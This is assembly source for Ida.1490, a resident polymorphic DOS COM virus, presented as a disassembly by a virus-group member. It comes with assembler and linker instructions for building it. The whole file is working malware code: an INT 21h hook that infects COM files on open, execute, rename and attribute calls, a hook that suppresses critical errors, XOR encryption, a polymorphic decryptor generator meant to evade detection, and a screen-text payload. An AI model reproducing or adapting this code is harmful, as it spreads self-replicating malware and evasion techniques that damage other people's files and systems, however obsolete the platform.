comment *
				Ida.1490	       млллллм млллллм млллллм
			     Disassembly by	       ллл ллл ллл ллл ллл ллл
			      Darkman/29A		мммллп плллллл ллллллл
						       лллмммм ммммллл ллл ллл
						       ллллллл ллллллп ллл ллл

  Ida.1490 is a 1491 bytes parasitic resident COM virus. Infects files at open
  file, get or set file attributes, load and execute program and rename file
  by appending the virus to the infected file. Ida.1490 has an error handler,
  non-destructive payload, second layer 16-bit exclusive OR (XOR) encryption
  in file and is polymorphic in file using its internal polymorphic engine.
  Ida.1490 is using the Random Decoding Key (RDK) technique.

  I would like to thank VirusBuster for providing me the binary of this virus.

  Compile Ida.1490 with Turbo Assembler v 5.0 by typing:
      TASM /M IDA_1490.ASM
      TLINK /t /x IDA_1490.OBJ
*

.model tiny
.code
.386
 org   100h				 ; Origin of Ida.1490

code_begin:
	     jmp     virus_begin

	     db      0c8h dup(?)
virus_begin:
	     call    delta_offset
delta_offset:
	     pop     bp 		 ; Load BP from stack
	     sub     bp,offset delta_offset

decrypt_key  equ     word ptr $+01h	 ; Decryption key
	     mov     dx,00h		 ; DX = decryption key

	     jmp     decryptor
second_loop:
	     xor     bx,bx		 ; First loop

	     jmp     decryptor
first_loop:
	     mov     bh,22h		 ; Second loop
decryptor:
	     lea     si,[bp+crypt_begin] ; SI = offset of crypt_begin
	     mov     cx,(crypt_end-crypt_begin)

	     push    dx 		 ; Save DX at stack
decrypt_loop:
	     xor     [si],dx		 ; Decrypt two bytes of encrypted code

	     inc     si 		 ; Increase index register
	     add     dx,'SE'             ; Add the sliding key to the decry...

	     loop    decrypt_loop
	     pop     dx 		 ; Load DX from stack

	     mov     cx,(checksum_end-checks_begin)
	     lea     si,[bp+crypt_begin] ; SI = offset of crypt_begin
	     xor     ax,ax		 ; Zero AX
	     cld			 ; Clear direction flag
checksu_loop:
	     lodsb			 ; AL = byte of decrypted code

	     add     ah,al		 ; AH = checksum

	     loop    checksu_loop

	     cmp     ax,0e101h		 ; Correct checksum?
	     je      virus_begin_	 ; Equal? Jump to virus_begin_

	     cmp     bh,22h		 ; Second loop?
	     jne     first_loop 	 ; Not equal? Jump to first_loop

	     inc     dh 		 ; Increase high-order byte of decr...

	     jmp     second_loop
crypt_begin:
checks_begin:
virus_begin_:
	     mov     ax,0deadh		 ; Ida.1490 function
	     int     21h
	     cmp     di,1996h		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     mov     bx,es		 ; BX = segment of PSP for current ...
	     dec     bx 		 ; BX = segment of current Memory C...
	     mov     es,bx		 ; ES =    "    "     "      "     "

	     mov     byte ptr es:[00h],'Z'

	     mov     ax,cs:[02h]	 ; AX = segment of first byte beyon...
	     sub     ax,((code_end-virus_begin)/10h)+0ah
	     mov     cs:[02h],ax	 ; Store segment of first byte beyo...

	     mov     ax,es:[03h]	 ; AX = size of memory block in par...
	     sub     ax,((code_end-virus_begin)/10h)+0ah
	     mov     es:[03h],ax	 ; Store size of memory block in pa...

	     stc			 ; Set carry flag
	     adc     ax,bx		 ; AX = segment of the virus
	     mov     es,ax		 ; ES =    "    "   "    "

	     push    es 		 ; Save ES at stack
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     word ptr cs:[bp+int21_addr],bx
	     mov     word ptr cs:[bp+int21_addr+02h],es
	     pop     es

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     si,[bp+virus_begin] ; SI = offset of virus_begin
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-virus_begin)
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move the virus to top of memory

	     mov     dx,(int21_virus-virus_begin)

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     ax,2521h		 ; Set interrupt vector 21h
	     int     21h

	     mov     ax,351ch		 ; Get interrupt vector 1ch
	     int     21h
	     mov     word ptr ds:[(int1c_addr-virus_begin)],bx
	     mov     word ptr ds:[(int1c_addr-virus_begin+02h)],es

	     mov     dx,(int1c_virus-virus_begin)
	     mov     ah,25h		 ; Set interrupt vector 1ch
	     int     21h
virus_exit:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     si,[bp+origin_code] ; SI = offset of origin_code
	     mov     di,100h		 ; DI = offset of beginning of code
	     movsw			 ; Move the original code to beginning
	     movsb			 ;  "    "     "      "   "      "

	     xor     ax,ax		 ; Zero AX
	     xor     cx,cx		 ; Zero CX
	     cwd			 ; Zero DX
	     mov     bx,dx		 ; Zero BX

	     push    100h		 ; Save offset of beginning of code...
	     ret			 ; Return!

int21_virus  proc    near		 ; Interrupt 21h of Ida.1490
	     pushf			 ; Save flags at stack
	     push    ax bx cx dx ds es si di

	     cmp     ax,4b00h		 ; Load and execute program?
	     je      examine_name	 ; Equal? Jump to examine_name
	     cmp     ah,56h		 ; Rename file?
	     je      examine_name	 ; Equal? Jump to examine_name
	     cmp     ah,3dh		 ; Open file?
	     je      examine_name	 ; Equal? Jump to examine_name
	     cmp     ah,43h		 ; Get or set file attributes?
	     je      examine_name	 ; Equal? Jump to examine_name

	     jmp     int21_exit_
examine_name:
	     clc			 ; Clear carry flag
	     mov     cx,80h		 ; Search through hundred and twent...
	     xor     al,al		 ; Zero AL
	     mov     di,dx		 ; DI = offset of filename
find_zero:
	     cmp     al,[di]		 ; Found end of filename?
	     je      examine_ext	 ; Equal? Jump to examine_ext

	     inc     di 		 ; Increase index register

	     loop    find_zero

	     jmp     int21_exit_
examine_ext:
	     sub     di,04h		 ; DI = offset of dot in filename
	     mov     al,'.'
	     cmp     al,[di]		 ; Found dot in filename?
	     je      found_dot		 ; Equal? Jump to found_dot

	     jmp     int21_exit_
found_dot:
	     mov     si,di		 ; SI = offset of dot in filename
	     sub     si,06h		 ; DI = offset within filename

	     mov     ax,[si]		 ; AX = two bytes of the filename
	     and     ax,1101111111011111b
	     cmp     ax,'BI'             ; IBMBIO.COM or IBMDOS.COM?
	     je      int21_exit 	 ; Equal? Jump to int21_exit

	     inc     di 		 ; DI = offset within file extension
	     mov     al,[di]		 ; AL = byte of file extension
	     and     al,11011111b	 ; Upcase character
	     cmp     al,'C'              ; COM executable?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     inc     di 		 ; DI = offset within file extension
	     mov     al,[di]		 ; AL = byte of file extension
	     and     al,11011111b	 ; Upcase character
	     cmp     al,'O'              ; COM executable?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     inc     di 		 ; DI = offset within file extension
	     mov     al,[di]		 ; AL = byte of file extension
	     and     al,11011111b	 ; Upcase character
	     cmp     al,'M'              ; COM executable?
	     je      infect_file	 ; Equal? Jump to infect_file
int21_exit:
	     jmp     int21_exit_
infect_file:
	     call    int24_store

	     mov     ax,4300h		 ; Get file attributes
	     call    int21_simula

	     xor     ch,ch		 ; CH = new file attributes
	     db      81h,0e1h,0feh,0ffh  ; AND CX,0FFFEh
	     mov     ax,4301h		 ; Set file attributes
	     call    int21_simula
checksum_end:
	     mov     ax,3d02h		 ; Open file (read/write)
	     call    int21_simula
	     jc      infect_exit	 ; Error? Jump to infect_exit
	     xchg    ax,bx		 ; BX = file handle

	     mov     ax,4200h		 ; Set current file position (SOF)
	     call    set_file_pos

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     cx,03h		 ; Read three bytes
	     mov     dx,(origin_code-virus_begin)
	     call    int21_simula

	     cmp     word ptr ds:[(origin_code-virus_begin)],'ZM'
	     je      close_file 	 ; Equal? Jump to close_file

	     mov     ax,5700h		 ; Get file's date and time
	     call    int21_simula
	     mov     ds:[(file_time-virus_begin)],cx
	     mov     ds:[(file_date-virus_begin)],dx

	     mov     ax,4202h		 ; Set current file position (EOF)
	     mov     dx,-02h		 ; CX:DX = offset from origin of ne...
	     mov     cx,-01h		 ;   "   "   "     "     "    "    "
	     call    int21_simula

	     mov     ah,3fh		 ; Read from file
	     mov     cx,02h		 ; Read two bytes
	     mov     dx,(infect_mark-virus_begin)
	     call    int21_simula

	     mov     si,dx		 ; SI = offset of infect_mark
	     mov     dx,ds:[(infect_mark_-virus_begin)]
	     cmp     [si],dx		 ; Already infected?
	     je      close_file 	 ; Equal? Jump to close_file

	     mov     ax,4200h		 ; Set current file position (SOF)
	     call    set_file_pos

	     mov     ax,4202h		 ; Set current file position (EOF)
	     call    set_file_pos

	     cmp     ax,0f230h		 ; Filesize too large?
	     ja      close_file 	 ; Above? Jump to close_file
	     cmp     ax,100h		 ; Filesize too small?
	     jb      close_file 	 ; Below? Jump to close_file

	     mov     ds:[(filesize-virus_begin)],ax

	     sub     ax,03h		 ; AX = offset of virus within infe...
	     mov     ds:[(infect_code-virus_begin+01h)],ax

	     push    bx 		 ; Save BX at stack
	     call    ida_poly
	     pop     bx 		 ; Load BX from stack
	     cmp     ax,0ffffh		 ; Insufficient memory?
	     je      close_file 	 ; Error? Jump to close_file

	     mov     ah,40h		 ; Write to file
	     xor     dx,dx		 ; DX = offset of decryptor
	     mov     cx,ds:[(decrypt_len-virus_begin)]

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     call    int21_simula

	     mov     ah,40h		 ; Write to file
	     mov     dx,100h		 ; DX = offset of encrypted code
	     mov     cx,(code_end-virus_begin)
	     call    int21_simula

	     mov     ah,49h		 ; Free memory
	     call    int21_simula

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,4200h		 ; Set current file position (SOF)
	     call    set_file_pos

	     mov     ah,40h		 ; Write to file
	     mov     dx,(infect_code-virus_begin)
	     mov     cx,03h		 ; Write three bytes
	     call    int21_simula

	     mov     ax,5701h		 ; Set file's date and time
	     mov     dx,cs:[(file_date-virus_begin)]
	     mov     cx,cs:[(file_time-virus_begin)]
	     call    int21_simula
close_file:
	     mov     ah,3eh		 ; Close file
	     call    int21_simula
infect_exit:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     dx,ds:[(int24_addr-virus_begin)]

	     push    word ptr ds:[(int24_addr-virus_begin+02h)]
	     pop     ds 		 ; Load DS from stack (high-order ...)

	     mov     ax,2524h		 ; Set interrupt vector 24h
	     call    int21_simula
int21_exit_:
	     pop     di si es ds dx cx bx ax

	     cmp     ax,0deadh		 ; Ida.1490 function?
	     je      ida_function	 ; Equal? Jump to ida_function

	     popf			 ; Load flags from stack

	     jmp     dword ptr cs:[(int21_addr-virus_begin)]

int24_store  proc    near		 ; Get and set interrupt vector 24h
	     push    ds dx bx es	 ; Save registers at stack

	     mov     ax,3524h		 ; Get interrupt vector 24h
	     call    int21_simula

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     word ptr ds:[(int24_addr-virus_begin)],bx
	     mov     word ptr ds:[(int24_addr-virus_begin+02h)],es

	     mov     ah,25h		 ; Get interrupt vector 24h
	     mov     dx,(int24_virus-virus_begin)
	     call    int21_simula

	     pop     es bx dx ds	 ; Load registers from stack

	     ret			 ; Return!
	     endp

int24_virus  proc    near		 ; Interrupt 24h of Ida.1490
	     mov     al,03h		 ; Fail system call in progress

	     iret			 ; Interrupt return!
	     endp
ida_function:
	     mov     di,1996h		 ; Already resident

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
	     endp

origin_code  db      11001101b,00100000b,?
infect_code  db      11101001b,?,?	 ; JMP imm16 (opcode 0e9h)
file_date    dw      ?			 ; File date
file_time    dw      ?			 ; File time

set_file_pos proc    near		 ; Set current file position
	     xor     cx,cx		 ; CX:DX = offset from origin of ne...
	     cwd			 ;   "   "   "     "     "    "    "
	     call    int21_simula

	     ret			 ; Return!
	     endp

int21_simula proc    near		 ; Simulate interrupt 21h
	     pushf			 ; Save flags at stack

	     db      10011010b		 ; CALL imm32 (opcode 9ah)
int21_addr   dd      ?			 ; Address of interrupt 21h

	     ret			 ; Return!
	     endp

int1c_virus  proc    near		 ; Interrupt 1Ch of Ida.1490
	     push    ds es ax dx cx di si

	     cmp     cs:[clock_tick],00h ; Twenty clock ticks?
	     jae     exam_txt_vid	 ; Above or equal? Jump to exam_txt...

	     jmp     dec_clock_ti
	     endp

i_love_begin:
i_love_veron db      'IVeronika !'      ; Text to replace with
i_love_v_end:
vera_begin:
vera	     db      'VERA'              ; Text to search for
vera_end:
clock_tick   db      ?			 ; Clock tick counter
exam_txt_vid:
	     mov     byte ptr cs:[(clock_tick-virus_begin)],14h

	     mov     ax,0b800h		 ; AX = segment of text video RAM
	     mov     es,ax		 ; ES =    "    "   "     "    "
	     mov     di,0fa0h		 ; DI = offset of end of text video...
search_v:
	     sub     di,08h		 ; DI = offset within text video RAM

	     clc			 ; Clear carry flag
search_v_:
	     mov     al,es:[di] 	 ; AL = byte within text video RAM
	     and     al,11011111b	 ; Upcase character
	     cmp     al,'V'              ; V?
	     je      found_v		 ; Equal? Jump to found_v

	     dec     di 		 ; Decrease index register
	     dec     di 		 ; Decrease index register
	     cmp     di,1388h		 ; Past the end of text video RAM?
	     jb      search_v_		 ; Below? Jump to search_v_

	     jmp     int1c_exit
found_v:
	     mov     cx,(vera_end-vera_begin)
	     mov     si,(vera-virus_begin)

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     cld			 ; Clear direction flag
search_vera:
	     mov     al,es:[di] 	 ; AL = byte within text video RAM
	     and     al,11011111b	 ; Upcase character

	     cmp     [si],al		 ; VERA?
	     jne     search_v		 ; Not equal? Jump to search_v

	     inc     di 		 ; Increase index register
	     inc     di 		 ; Increase index register

	     inc     si 		 ; Increase index register

	     loop    search_vera

	     mov     cx,(i_love_v_end-i_love_begin)
	     sub     di,08h		 ; DI = offset within text video RAM
	     mov     si,(i_love_veron-virus_begin)
move_i__loop:
	     movsb			 ; Move twelve bytes within text vi...

	     inc     di 		 ; Increase index register

	     loop    move_i__loop
dec_clock_ti:
	     dec     byte ptr cs:[(clock_tick-virus_begin)]
int1c_exit:
	     pop     si di cx dx ax es ds

	     db      11101010b		 ; JMP imm32 (opcode 0eah)
int1c_addr   dd      ?			 ; Address of interrupt 1ch
filesize     dw      ?			 ; Low-order word of filesize
int24_addr   dd      ?			 ; Address of interrupt 24h

comment*
		     Ida.1490 (polymorphic engine)     млллллм млллллм млллллм
			     Disassembly by	       ллл ллл ллл ллл ллл ллл
			      Darkman/29A		мммллп плллллл ллллллл
						       лллмммм ммммллл ллл ллл
						       ллллллл ллллллп ллл ллл

  Garbage instructions:
    INC AX; INC BX; INC CX; INC DX; INC BP; INC SI; INC DI; DEC AX; DEC BX;
    DEC CX; DEC DX; DEC BP; DEC SI; DEC DI; NOP; CLD; CBW; ES:; DS:; CS

  Count/index registers:
    BX; DI; SI

  Registers holding the decryption key:
    AX; (BX); CX; DX

  Decryptor:
    One to fourteen garbage instruction(s).
    MOV reg16,imm16	     (Register holding decryption key, decryption key)
    One to fourteen garbage instruction(s).
    MOV reg16,imm16	      (Count/index register, offset of encrypted code)
    One to fourteen garbage instruction(s).
    NOT [reg16]/NEG [reg16]/XOR [reg16],reg16
    One to fourteen garbage instruction(s).
    INC reg16				       (Increase count/index register)
    One to fourteen garbage instruction(s).
    CMP reg16,imm16				       (End of encrypted code)
    One to fourteen garbage instruction(s).
    JB imm8		       (Garbage generation above decryption algorithm)
    One to fourteen garbage instruction(s).

  Min. decryptor size:	19 bytes.
  Max. decryptor size: 113 bytes.
*

ida_poly     proc    near		 ; Ida.1490 (polymorphic engine)
	     mov     ah,48h		 ; Allocate memory
	     mov     bx,(code_end-virus_begin)/10h+8ah
	     call    int21_simula
	     jnc     ida_poly_		 ; No error? Jump to ida_poly_

	     mov     ax,0ffffh		 ; Insufficient memory

	     ret			 ; Return!
ida_poly_:
	     mov     es,ax		 ; ES = segment of allocated memory
	     mov     ds:[(cryptor_addr-virus_begin+02h)],ax

	     mov     word ptr ds:[(mov_r16_off_-virus_begin)],00h
	     mov     word ptr ds:[(mov_r16_off-virus_begin)],00h
gen_garbage:
	     call    get_rnd_num

	     mov     ax,0fh		 ; Random number within fifteen
	     call    rnd_in_range

	     or      di,di		 ; Don't generate any garbage inst...?
	     jz      gen_garbage	 ; Zero? Jump to gen_garbage

	     mov     cx,di		 ; CX = number of one byte garbage ...
	     xor     di,di		 ; DI = offset of decryptor
gen_garbage_:
	     push    di 		 ; Save DI at stack
	     call    get_rnd_num

	     mov     ax,(one_byte_end-one_by_begin)
	     call    rnd_in_range

	     lea     si,[di+(one_by_table-virus_begin)]
	     pop     di 		 ; Load DI from stack

	     cld			 ; Clear direction flag
	     lodsb			 ; INC reg16/DEC reg16/NOP/CLD/CBW/...
	     stosb			 ; Store INC reg16/DEC reg16/NOP/CL...

	     loop    gen_garbage_

	     mov     ds:[(mov_r16_off_-virus_begin)],di

	     call    get_rnd_num

	     mov     ax,(crypt_ta_end-crypt__begin)/07h
	     call    rnd_in_range

	     mov     ax,(crypt_ta_end-crypt__begin)/11h
	     mul     di 		 ; AX = random number within twenty...

	     push    es 		 ; Save ES at stack
	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     si,(crypt_table-virus_begin)
	     add     si,ax		 ; SI = offset within crypt_table
	     mov     ds:[(crypt_offset-virus_begin)],si

	     mov     di,(crypt_algo-virus_begin)
	     cld			 ; Clear direction flag
	     movsw			 ; Move NOT [reg16]/NEG [reg16]/XOR...
	     pop     es 		 ; Load ES from stack

	     call    move_algo

	     cmp     byte ptr ds:[(mov_r16_i16_-virus_begin)],00h
	     je      gen_mov_reg	 ; No encryption/decryption key? Ju...

	     mov     di,ds:[(mov_r16_off_-virus_begin)]
	     mov     si,(mov_r16_i16_-virus_begin)
	     lodsb			 ; MOV reg16,imm16 (Decryption key)
	     stosb			 ; Store MOV reg16,imm16 (Decrypti...)
	     inc     di 		 ; Increase index register
	     inc     di 		 ; Increase index register
	     call    gen_garbag_

	     add     word ptr ds:[(mov_r16_off-virus_begin)],03h
gen_mov_reg:
	     mov     di,ds:[(mov_r16_off_-virus_begin)]
	     add     di,ds:[(mov_r16_off-virus_begin)]

	     mov     ds:[(mov_r16_of_-virus_begin)],di
	     mov     si,(mov_r16_i16-virus_begin)
	     cld			 ; Clear direction flag
	     lodsb			 ; MOV reg16,imm16 (Offset of encr...)
	     stosb			 ; Store MOV reg16,imm16 (Offset o...)
	     inc     di 		 ; Increase index register
	     inc     di 		 ; Increase index register
	     call    gen_garbag_

	     mov     si,(crypt_algo-virus_begin)
	     cld			 ; Clear direction flag
	     lodsw			 ; NOT [reg16]/NEG [reg16]/XOR [reg...
	     stosw			 ; Store NOT [reg16]/NEG [reg16]/XO...
	     call    gen_garbag_

	     mov     si,ds:[(crypt_offset-virus_begin)]
	     add     si,05h		 ; SI = offset of INC reg16 within ...
	     cld			 ; Clear direction flag
	     lodsb			 ; INC reg16
	     stosb			 ; Store INC reg16
	     call    gen_garbag_

	     mov     ds:[(cmp_r16_off-virus_begin)],di
	     mov     si,(cmp_r16_i16-virus_begin)
	     cld			 ; Clear direction flag
	     lodsw			 ; CMP reg16,imm16 (End of encrypt...)
	     stosw			 ; Store CMP reg16,imm16 (End of e...)
	     inc     di 		 ; Increase index register
	     inc     di 		 ; Increase index register
	     call    gen_garbag_

	     mov     si,(jb_imm8-virus_begin)
	     mov     ds:[(jb_imm8_off-virus_begin)],di
	     cld			 ; Clear direction flag
	     lodsw			 ; JB imm8 (Garbage generation abo...)
	     stosw			 ; Store JB imm8 (Garbage generati...)
	     call    gen_garbag_
	     mov     ds:[(decrypt_len-virus_begin)],di

	     mov     di,ds:[(mov_r16_off_-virus_begin)]
	     inc     di 		 ; DI = offset of MOV reg16,imm16  ...
	     call    get_rnd_num
	     clc			 ; Clear carry flag
	     mov     es:[di],bx 	 ; Store encryption/decryption key

	     mov     di,ds:[(mov_r16_of_-virus_begin)]
	     inc     di 		 ; DI = offset of MOV reg16,imm16  ...
	     mov     word ptr es:[di],100h

	     mov     di,ds:[(cmp_r16_off-virus_begin)]
	     inc     di 		 ; DI = offset of CMP reg16,imm16  ...
	     inc     di 		 ; DI =   "    "   "       "        "
	     mov     word ptr es:[di],(code_end-virus_begin-03h)+100h

	     mov     di,ds:[(jb_imm8_off-virus_begin)]
	     inc     di 		 ; DI = offset of JB imm8 (Garbage...)
	     mov     ax,ds:[(jb_imm8_off-virus_begin)]
	     sub     ax,ds:[(mov_r16_of_-virus_begin)]
	     mov     bl,01h		 ; BL = 8-bit immediate
	     sub     bl,al		 ; BL =   "       "
	     mov     es:[di],bl 	 ; Store 8-bit immediate

	     mov     cx,(code_end-virus_begin)
	     mov     si,(virus_begin-virus_begin)
	     mov     di,100h		 ; DI = offset of plain code
	     rep     movsb		 ; Move plain code within segment o...

	     mov     cx,(crypt_end-crypt_begin)
	     call    get_rnd_num

	     push    bx 		 ; Save BX at stack
	     mov     ax,2080h		 ; Random number within thirty-two ...
	     call    rnd_in_range

	     xchg    ax,di		 ; DI = random number within thirty...
	     sub     bh,al		 ; BX = decryption key
	     mov     di,(crypt_begin-virus_begin+100h)
	     mov     es:[(decrypt_key-virus_begin+100h)],bx
	     pop     bx 		 ; Load BX from stack
encrypt_loop:
	     xor     es:[di],bx 	 ; Encrypt two bytes of plain code

	     add     bx,'SE'             ; Add the sliding key to the encry...
	     inc     di 		 ; Increase index register

	     loop    encrypt_loop

	     mov     di,ds:[(decrypt_len-virus_begin)]
	     mov     byte ptr es:[di],11001011b


	     push    ds 		 ; Save DS at stack
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     pushf			 ; Save flags at stack
	     push    bp 		 ; Save BP at stack

	     db      10011010b		 ; CALL imm32 (opcode 9ah)
cryptor_addr dd      00h		 ; Address of encryptor/decryptor

	     pop     bp 		 ; Load BP from stack
	     popf			 ; Load flags from stack

	     pop     ds 		 ; Load DS from stack

	     mov     dx,ds:[(filesize-virus_begin)]
	     add     dx,ds:[(decrypt_len-virus_begin)]

	     mov     di,ds:[(mov_r16_of_-virus_begin)]
	     inc     di 		 ; DI = offset of MOV reg16,imm16  ...
	     add     dx,100h		 ; DX = 16-bit immediate
	     mov     es:[di],dx 	 ; Store 16-bit immediate

	     add     dx,(code_end-virus_begin)
	     mov     di,ds:[(cmp_r16_off-virus_begin)]
	     inc     di 		 ; DI = offset of CMP reg16,imm16  ...
	     inc     di 		 ; DI =   "    "   "       "        "
	     sub     dx,03h		 ; DX = 16-bit immediate
	     mov     es:[di],dx 	 ; Store 16-bit immediate

	     ret			 ; Return!
one_by_begin:
one_by_table:
	     inc     ax 		 ; Increase AX
	     inc     cx 		 ; Increase CX
	     inc     dx 		 ; Increase DX
	     inc     bx 		 ; Increase BX
	     inc     bp 		 ; Increase BP
	     inc     si 		 ; Increase SI
	     inc     di 		 ; Increase DI
	     dec     ax 		 ; Decrease AX
	     dec     cx 		 ; Decrease CX
	     dec     dx 		 ; Decrease DX
	     dec     bx 		 ; Decrease BX
	     dec     bp 		 ; Decrease BP
	     dec     si 		 ; Decrease SI
	     dec     di 		 ; Decrease DI
	     nop
	     nop
	     cld			 ; Clear direction flag
	     cbw			 ; Convert byte to word
	     cld			 ; Clear direction flag
	     nop
	     nop
	     seges			 ; Extra segment as source segment
	     segds			 ; Data segment as source segment
	     inc     dx 		 ; Increase DX
	     segcs			 ; Code segment as source segment
one_byte_end:
crypt__begin:
crypt_table:
	     not     byte ptr [si]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      00h		 ; No encryption/decryption key
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     not     byte ptr [di]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      00h		 ; No encryption/decryption key
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register

	     not     byte ptr [bx]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111011b		 ; CMP BX,imm16 (opcode 81h,0fbh)
	     db      10111011b		 ; MOV BX,imm16 (opcode 0bbh)
	     db      00h		 ; No encryption/decryption key
	     inc     bx 		 ; Increase index register
	     dec     bx 		 ; Decrease index register

	     neg     byte ptr [si]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      00h		 ; No encryption/decryption key
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     neg     byte ptr [di]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      00h		 ; No encryption/decryption key
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register

	     neg     byte ptr [bx]	 ; Encrypt/decrypt byte of plain/en...
	     db      11111011b		 ; CMP BX,imm16 (opcode 81h,0fbh)
	     db      10111011b		 ; MOV BX,imm16 (opcode 0bbh)
	     db      00h		 ; No encryption/decryption key
	     inc     bx 		 ; Increase index register
	     dec     bx 		 ; Decrease index register

	     xor     [si],ax		 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      10111000b		 ; MOV AX,imm16 (opcode 0b8h)
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     xor     [di],ax		 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      10111000b		 ; MOV AX,imm16 (opcode 0b8h)
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register

	     xor     [bx],ax		 ; Encrypt/decrypt byte of plain/en...
	     db      11111011b		 ; CMP BX,imm16 (opcode 81h,0fbh)
	     db      10111011b		 ; MOV BX,imm16 (opcode 0bbh)
	     db      10111000b		 ; MOV AX,imm16 (opcode 0b8h)
	     inc     bx 		 ; Increase index register
	     dec     bx 		 ; Decrease index register

	     xor     [si],cx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      10111001b		 ; MOV AX,imm16 (opcode 0b9h)
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     xor     [di],cx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      10111001b		 ; MOV AX,imm16 (opcode 0b9h)
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register

	     xor     [bx],cx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111011b		 ; CMP BX,imm16 (opcode 81h,0fbh)
	     db      10111011b		 ; MOV BX,imm16 (opcode 0bbh)
	     db      10111001b		 ; MOV AX,imm16 (opcode 0b9h)
	     inc     bx 		 ; Increase index register
	     dec     bx 		 ; Decrease index register

	     xor     [si],dx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      10111010b		 ; MOV AX,imm16 (opcode 0bah)
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     xor     [di],dx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      10111010b		 ; MOV AX,imm16 (opcode 0bah)
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register

	     xor     [bx],dx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111011b		 ; CMP BX,imm16 (opcode 81h,0fbh)
	     db      10111011b		 ; MOV BX,imm16 (opcode 0bbh)
	     db      10111010b		 ; MOV AX,imm16 (opcode 0bah)
	     inc     bx 		 ; Increase index register
	     dec     bx 		 ; Decrease index register

	     xor     [si],bx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111110b		 ; CMP SI,imm16 (opcode 81h,0feh)
	     db      10111110b		 ; MOV SI,imm16 (opcode 0beh)
	     db      10111011b		 ; MOV AX,imm16 (opcode 0bbh)
	     inc     si 		 ; Increase index register
	     dec     si 		 ; Decrease index register

	     xor     [di],bx		 ; Encrypt/decrypt byte of plain/en...
	     db      11111111b		 ; CMP DI,imm16 (opcode 81h,0ffh)
	     db      10111111b		 ; MOV DI,imm16 (opcode 0bfh)
	     db      10111011b		 ; MOV AX,imm16 (opcode 0bbh)
	     inc     di 		 ; Increase index register
	     dec     di 		 ; Decrease index register
crypt_ta_end:
jb_imm8:
	     jb      $+02h		 ; Below? Jump to garbage generaton...

	     db      00h
	     db      '[IDA] v0.01',00h   ; Name of the engine
	     db      'Serg_Enigma',00h   ; Author of the engine
mov_r16_off  dw      ?			 ; Offset of MOV reg16,imm16 (Offs...)
mov_r16_off_ dw      ?			 ; Offset of MOV reg16,imm16 (Decr...)
mov_r16_of_  dw      ?			 ; Offset of MOV reg16,imm16 (Offs...)
cmp_r16_off  dw      ?			 ; Offset of CMP reg16,imm16 (End ...)
